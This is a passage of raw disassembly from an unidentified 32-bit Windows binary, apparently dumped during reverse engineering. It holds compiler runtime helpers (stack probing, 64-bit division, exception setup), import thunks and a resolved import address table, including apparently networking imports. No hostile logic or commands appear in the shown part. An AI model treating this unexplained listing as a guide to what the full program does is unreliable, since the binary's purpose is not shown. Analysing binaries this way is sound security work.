sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0


loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC


loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; brattyty:00416B26p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------


loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72


loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------


loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF


loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi


loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi


loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
		jmp	dword_417164
sub_416CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CFE	proc near		; CODE XREF: sub_409226+55p
					; sub_4092A4+55p ...
		jmp	dword_417160
sub_416CFE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_409226+42p
					; sub_4092A4+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_416D31
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_416D31:				; CODE XREF: sub_416D10+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_416D4D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_416D4D:				; CODE XREF: sub_416D10+27j
		or	eax, eax
		jnz	short loc_416D69
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416DAA
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416D10+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_416D77:				; CODE XREF: sub_416D10+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_416D77
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416DA5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_416DA5
		jb	short loc_416DA6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_416DA6


loc_416DA5:				; CODE XREF: sub_416D10+85j
					; sub_416D10+8Bj
		dec	esi


loc_416DA6:				; CODE XREF: sub_416D10+8Dj
					; sub_416D10+93j
		xor	edx, edx
		mov	eax, esi


loc_416DAA:				; CODE XREF: sub_416D10+57j
		dec	edi
		jnz	short loc_416DB4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_416DB4:				; CODE XREF: sub_416D10+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_416D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DBA	proc near		; DATA XREF: sub_4093B6+Ao
					; sub_4094E6+Ao ...
		jmp	dword_41715C
sub_416DBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC0	proc near		; CODE XREF: sub_409479+41p
					; sub_4095A4+162p
		jmp	dword_417158
sub_416DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DC6	proc near		; CODE XREF: sub_4095A4+11Bp
		jmp	dword_417154
sub_416DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DCC	proc near		; CODE XREF: sub_409CB1+105p
					; sub_409CB1+114p ...
		jmp	dword_417150
sub_416DCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD2	proc near		; CODE XREF: sub_409CB1+42p
					; sub_409CB1+88p
		jmp	dword_41714C
sub_416DD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DD8	proc near		; CODE XREF: sub_409CB1+1Ap
					; sub_409DD0+13Bp
		jmp	dword_417148
sub_416DD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DDE	proc near		; CODE XREF: sub_40A2D2+13Ep
					; sub_40A9CF+1F6p ...
		jmp	dword_417144
sub_416DDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DE4	proc near		; CODE XREF: sub_40A8AD+90p
		jmp	dword_417140
sub_416DE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DEA	proc near		; CODE XREF: sub_40A9CF+185Cp
		jmp	dword_41713C
sub_416DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF0	proc near		; CODE XREF: sub_40D420+47p
					; sub_40D4AB+50p ...
		jmp	dword_417138
sub_416DF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DF6	proc near		; CODE XREF: sub_40EF59+6Bp
					; sub_40EF59+C1p
		jmp	dword_417134
sub_416DF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416DFC	proc near		; CODE XREF: sub_40F040+52p
					; sub_40F040+A8p
		jmp	dword_417130
sub_416DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E02	proc near		; CODE XREF: sub_40F040+1Ep
		jmp	dword_417128
sub_416E02	endp

; ---------------------------------------------------------------------------


loc_416E08:				; CODE XREF: brattyty:00416FE2j
		jmp	dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DEB0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0


loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: brattyty:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416F48:				; CODE XREF: brattyty:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: brattyty:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	dword_4170B0	; LocalFree


loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: brattyty:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FBC:				; DATA XREF: brattyty:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
dword_417000	dd 77DD7F3Eh		; DATA XREF: sub_401000+C6r
					; brattyty:loc_42001Bo
dword_417004	dd 77DD5C55h		; DATA XREF: sub_401000+11Ar
					; sub_406C51+96r
dword_417008	dd 77DD22EAh		; DATA XREF: sub_401000+65r
					; sub_406722+184r ...
dword_41700C	dd 77DD23D7h		; DATA XREF: sub_406722+1C3r
					; sub_4083AD+2DDr ...
dword_417010	dd 77DD59F0h		; DATA XREF: sub_406C51+88r
dword_417014	dd 77DD590Bh		; DATA XREF: sub_406C51+26r
dword_417018	dd 77DDACABh		; DATA XREF: sub_4083AD+E6r
dword_41701C	dd 77DE042Eh		; DATA XREF: sub_4102AE+62r
dword_417020	dd 77DE03D2h		; DATA XREF: sub_4102AE+27r
					; sub_4102AE+37r ...
dword_417024	dd 77DDEBA2h		; DATA XREF: sub_4102AE+17r
dword_417028	dd 77DD189Ah		; DATA XREF: sub_401000+136r
					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 77E7C657h		; DATA XREF: sub_4083AD+11Er
					; sub_40D043+20Br ...
dword_417034	dd 77E7513Ch		; DATA XREF: sub_408342+10r
					; sub_408342+4Br
dword_417038	dd 77E705C5h		; DATA XREF: sub_406D47+41r
dword_41703C	dd 77E74672h		; DATA XREF: sub_406C51+6Fr
					; sub_414EF4+8EEr
dword_417040	dd 77E705B0h		; DATA XREF: sub_406B81+15r
dword_417044	dd 77E7A837h		; DATA XREF: sub_406B81+47r
					; sub_406B81+95r ...
dword_417048	dd 77E73CE2h		; DATA XREF: sub_406B81+6Er
dword_41704C	dd 77E7011Ah		; DATA XREF: sub_406B81+BCr
dword_417050	dd 77E704FCh		; DATA XREF: sub_406A23+15r
					; sub_406AE7+15r ...
dword_417054	dd 77E805D8h		; DATA XREF: sub_403BD3+Br
					; sub_403BD3+32r ...
dword_417058	dd 77E7A5FDh		; DATA XREF: sub_403BD3+22r
					; sub_403BD3+4Dr ...
dword_41705C	dd 77E75CB5h		; DATA XREF: sub_40332B+227r
					; sub_407148+18Br ...
dword_417060	dd 77E6BD13h		; DATA XREF: sub_402A32+ECr
					; sub_406E8E+1FEr
dword_417064	dd 77F5157Dh		; DATA XREF: sub_402A32+F6r
					; sub_409CB1+CFr ...
dword_417068	dd 77E79D8Ch		; DATA XREF: sub_401D39+22r
					; sub_406D90+D3r
dword_41706C	dd 77E6CBF9h		; DATA XREF: sub_401981+4Fr
dword_417070	dd 77E7727Ah		; DATA XREF: sub_401981+9Er
					; sub_401981+D7r
dword_417074	dd 77E79C90h		; DATA XREF: sub_401981+104r
					; sub_401981+111r
dword_417078	dd 77E65F4Ch		; DATA XREF: sub_4083AD+FAr
dword_41707C	dd 77E61BB8h		; DATA XREF: sub_401981+1C6r
					; sub_406E8E+2A5r
dword_417080	dd 77EB7624h		; DATA XREF: sub_401981+274r
dword_417084	dd 77E7FF65h		; DATA XREF: sub_401981+2B3r
dword_417088	dd 77E78B82h		; DATA XREF: sub_401981+37Br
dword_41708C	dd 77E79F93h		; DATA XREF: sub_401244+F2r
					; sub_40332B+1D0r ...
dword_417090	dd 77E7A099h		; DATA XREF: sub_401244+F9r
					; sub_40332B+1D7r ...
dword_417094	dd 77E706B7h		; DATA XREF: sub_401244+159r
					; sub_406041+193r ...
dword_417098	dd 77E61A54h		; DATA XREF: sub_401244+21Dr
					; sub_406509+91r
dword_41709C	dd 77E61BE6h		; DATA XREF: sub_401244+3C6r
					; sub_401244+4F4r ...
dword_4170A0	dd 77E616B4h		; DATA XREF: sub_401244+439r
					; sub_406643+3Br
dword_4170A4	dd 77E77963h		; DATA XREF: sub_401244+471r
					; sub_401244+4C1r ...
dword_4170A8	dd 77E70396h		; DATA XREF: sub_401146+11r
					; sub_406E8E+22Ar ...
dword_4170AC	dd 77E73628h		; DATA XREF: sub_401146+23r
					; sub_401E38+30r ...
dword_4170B0	dd 77E79A45h		; DATA XREF: sub_416F4E+1Er
dword_4170B4	dd 77E7AC37h		; DATA XREF: sub_40A1A7+106r
dword_4170B8	dd 77E75090h		; DATA XREF: sub_40D74D+87r
dword_4170BC	dd 77E74D76h		; DATA XREF: sub_40D74D+4Ar
dword_4170C0	dd 77E77797h		; DATA XREF: sub_40D74D+33r
dword_4170C4	dd 77E76C1Ah		; DATA XREF: sub_4083AD+33r
dword_4170C8	dd 77E686CCh		; DATA XREF: sub_408E8E+4Br
					; sub_408F2E+134r
dword_4170CC	dd 77E6C0E3h		; DATA XREF: sub_408E8E+1Ar
					; sub_408F2E+7Fr ...
dword_4170D0	dd 77E7751Ah		; DATA XREF: sub_409226:loc_40928Er
					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 77E6D75Bh		; DATA XREF: sub_409226+14r
					; sub_4092A4+14r ...
dword_4170D8	dd 77E802FCh		; DATA XREF: sub_409226+Ar
					; sub_4092A4+Ar ...
dword_4170DC	dd 77E7176Ch		; DATA XREF: sub_4093B6+51r
dword_4170E0	dd 77E75CEBh		; DATA XREF: sub_4098F3+A2r
					; sub_4098F3+1B6r
dword_4170E4	dd 77E79908h		; DATA XREF: sub_409C36+2Er
dword_4170E8	dd 77E80656h		; DATA XREF: sub_401244+D7r
					; sub_406643+19r
dword_4170EC	dd 77F7E21Fh		; DATA XREF: sub_409C6C+6r
dword_4170F0	dd 77E79CE3h		; DATA XREF: sub_401981+118r
dword_4170F4	dd 77E78C17h		; DATA XREF: sub_4167F1+31r
dword_4170F8	dd 77E7C2C4h		; DATA XREF: sub_4167F1+A8r
dword_4170FC	dd 77E73167h		; DATA XREF: sub_414EF4+5AAr
					; sub_414EF4+5BCr ...
dword_417100	dd 77E73BEFh		; DATA XREF: sub_414EF4+9C0r
dword_417104	dd 77E7AC5Eh		; DATA XREF: sub_4148CE+B0r
dword_417108	dd 77E76432h		; DATA XREF: sub_40D871+29Br
					; sub_414EF4+5CEr ...
dword_41710C	dd 77F7E300h		; DATA XREF: sub_409C7A+6r
		dd 0
dword_417114	dd 77C1C055h		; DATA XREF: sub_416F7Ar
dword_417118	dd 77C423F5h		; DATA XREF: sub_416F80r
dword_41711C	dd 77C219F5h		; DATA XREF: sub_416FA2r
dword_417120	dd 77C20C5Bh		; DATA XREF: sub_416FA8r
dword_417124	dd 77C21AD8h		; DATA XREF: brattyty:loc_416E08r
dword_417128	dd 77C43150h		; DATA XREF: sub_416E02r
dword_41712C	dd 77C41FA0h		; DATA XREF: sub_416B3Ar
dword_417130	dd 77C33FDEh		; DATA XREF: sub_416DFCr
dword_417134	dd 77C33FC1h		; DATA XREF: sub_416DF6r
dword_417138	dd 77C3CE0Ch		; DATA XREF: sub_416DF0r
dword_41713C	dd 77C42D60h		; DATA XREF: sub_416DEAr
dword_417140	dd 77C1C6F3h		; DATA XREF: sub_416DE4r
dword_417144	dd 77C435C0h		; DATA XREF: sub_416DDEr
dword_417148	dd 77C3E5D9h		; DATA XREF: sub_416DD8r
dword_41714C	dd 77C28925h		; DATA XREF: sub_416DD2r
dword_417150	dd 77C28933h		; DATA XREF: sub_416DCCr
dword_417154	dd 77C3CCE7h		; DATA XREF: sub_416DC6r
dword_417158	dd 77C37FEDh		; DATA XREF: sub_416DC0r
dword_41715C	dd 77C33EB0h		; DATA XREF: sub_416DBAr
dword_417160	dd 77C4B940h		; DATA XREF: sub_416CFEr
dword_417164	dd 77C4B120h		; DATA XREF: sub_416CF8r
dword_417168	dd 77C37ADCh		; DATA XREF: sub_416BFCr
dword_41716C	dd 77C2AC58h		; DATA XREF: sub_416BF6r
dword_417170	dd 77C438C0h		; DATA XREF: sub_416BF0r
dword_417174	dd 77C3C93Ch		; DATA XREF: sub_416BAEr
dword_417178	dd 77C43AB0h		; DATA XREF: sub_416BA8r
dword_41717C	dd 77C3E8C0h		; DATA XREF: sub_416BA2r
dword_417180	dd 77C1BE00h		; DATA XREF: sub_416B9Cr
dword_417184	dd 77C3E140h		; DATA XREF: sub_416B96r
dword_417188	dd 77C3DFB5h		; DATA XREF: sub_416B90r
dword_41718C	dd 77C3BF06h		; DATA XREF: sub_416B88r
dword_417190	dd 77C3D8F6h		; DATA XREF: sub_416B82r
dword_417194	dd 77C3E4B9h		; DATA XREF: sub_416B7Cr
dword_417198	dd 77C3E303h		; DATA XREF: sub_416B76r
dword_41719C	dd 77C41FB0h		; DATA XREF: sub_416B70r
dword_4171A0	dd 77C43490h		; DATA XREF: sub_416B6Ar
dword_4171A4	dd 77C46553h		; DATA XREF: sub_416B64r
dword_4171A8	dd 77C3C813h		; DATA XREF: sub_416B5Er
dword_4171AC	dd 77C43900h		; DATA XREF: sub_416B58r
dword_4171B0	dd 77C42E10h		; DATA XREF: sub_416B52r
dword_4171B4	dd 77C2AA6Bh		; DATA XREF: sub_416B4Cr
dword_4171B8	dd 77C2AC46h		; DATA XREF: sub_416B46r
dword_4171BC	dd 77C43710h		; DATA XREF: sub_416B40r
dword_4171C0	dd 77C421A2h		; DATA XREF: sub_416F74r
		align 8
dword_4171C8	dd 7713BC68h		; DATA XREF: sub_416E4E+44r
		align 10h
dword_4171D0	dd 77428B97h		; DATA XREF: sub_401D6E+2Dr
					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 77D4456Bh		; DATA XREF: sub_40A9CF+121r
dword_4171DC	dd 77D79D1Ch		; DATA XREF: sub_414EF4+76Dr
dword_4171E0	dd 77D4C96Ah		; DATA XREF: sub_406D90+B0r
					; sub_408F2E+1D1r ...
dword_4171E4	dd 77D5C13Ah		; DATA XREF: sub_40A9CF+128r
					; sub_415B60+84r
dword_4171E8	dd 77D4BDCAh		; DATA XREF: sub_40D734+Br
dword_4171EC	dd 77D4702Fh		; DATA XREF: sub_40D74D+6Cr
					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB3E5Dh		; DATA XREF: sub_404FE7+C5r
					; sub_4050EA+106r ...
dword_4171F8	dd 71AB1B7Bh		; DATA XREF: sub_416E30r
dword_4171FC	dd 71AB868Dh		; DATA XREF: sub_4048EF+11Er
					; sub_4048EF+39Fr
dword_417200	dd 71AB8629h		; DATA XREF: sub_40538D+8r
					; sub_412A3A+178r ...
dword_417204	dd 71AB3F8Dh		; DATA XREF: sub_4046BC+114r
					; sub_4055E5+7Br ...
dword_417208	dd 71AB3ECEh		; DATA XREF: sub_4046BC+129r
					; sub_411DC5+DFr ...
dword_41720C	dd 71AB1AF4h		; DATA XREF: sub_4053BF+Fr
					; sub_40A9CF+1A74r
dword_417210	dd 71ABF628h		; DATA XREF: sub_4044F7+21r
					; sub_4045B2+21r
dword_417214	dd 71AB155Ah		; DATA XREF: sub_404457+1Cr
					; sub_40447B+10r
dword_417218	dd 71AB3C22h		; DATA XREF: sub_40432E+Ar
					; sub_4046BC+CEr ...
dword_41721C	dd 71AB401Ch		; DATA XREF: sub_4038BA+72r
					; sub_40732D+1A8r ...
dword_417220	dd 71ABD755h		; DATA XREF: sub_4038BA+D0r
					; sub_4038BA+171r ...
dword_417224	dd 71AB1740h		; DATA XREF: sub_4038BA+E5r
					; sub_4038BA+186r ...
dword_417228	dd 71ABD850h		; DATA XREF: sub_4038BA+28Dr
dword_41722C	dd 71AB1890h		; DATA XREF: sub_4048EF+265r
					; sub_404E1C+E0r ...
dword_417230	dd 71AB1A6Dh		; DATA XREF: sub_4053B1+6r
					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB350Dh		; DATA XREF: sub_403588+23r
					; sub_403588+4Ar ...
dword_417238	dd 71AB1746h		; DATA XREF: sub_403588+BAr
					; sub_403588+1FEr ...
dword_41723C	dd 71AB2BBFh		; DATA XREF: sub_403588+151r
					; sub_4055E5+F3r ...
dword_417240	dd 71AB157Eh		; DATA XREF: sub_4020C2+B9r
					; sub_40449C+21r ...
dword_417244	dd 71AB12F8h		; DATA XREF: sub_4020C2+1FAr
					; sub_4055E5+DDr ...
dword_417248	dd 71AB5690h		; DATA XREF: sub_401E38+106r
					; sub_4053DC+27r ...
dword_41724C	dd 71AB12A7h		; DATA XREF: sub_401E38+141r
					; sub_4020C2+201r
dword_417250	dd 71AB1ED3h		; DATA XREF: sub_4055E5+7F2r
					; sub_411DC5+372r ...
dword_417254	dd 71AB1836h		; DATA XREF: sub_406E8E+2ABr
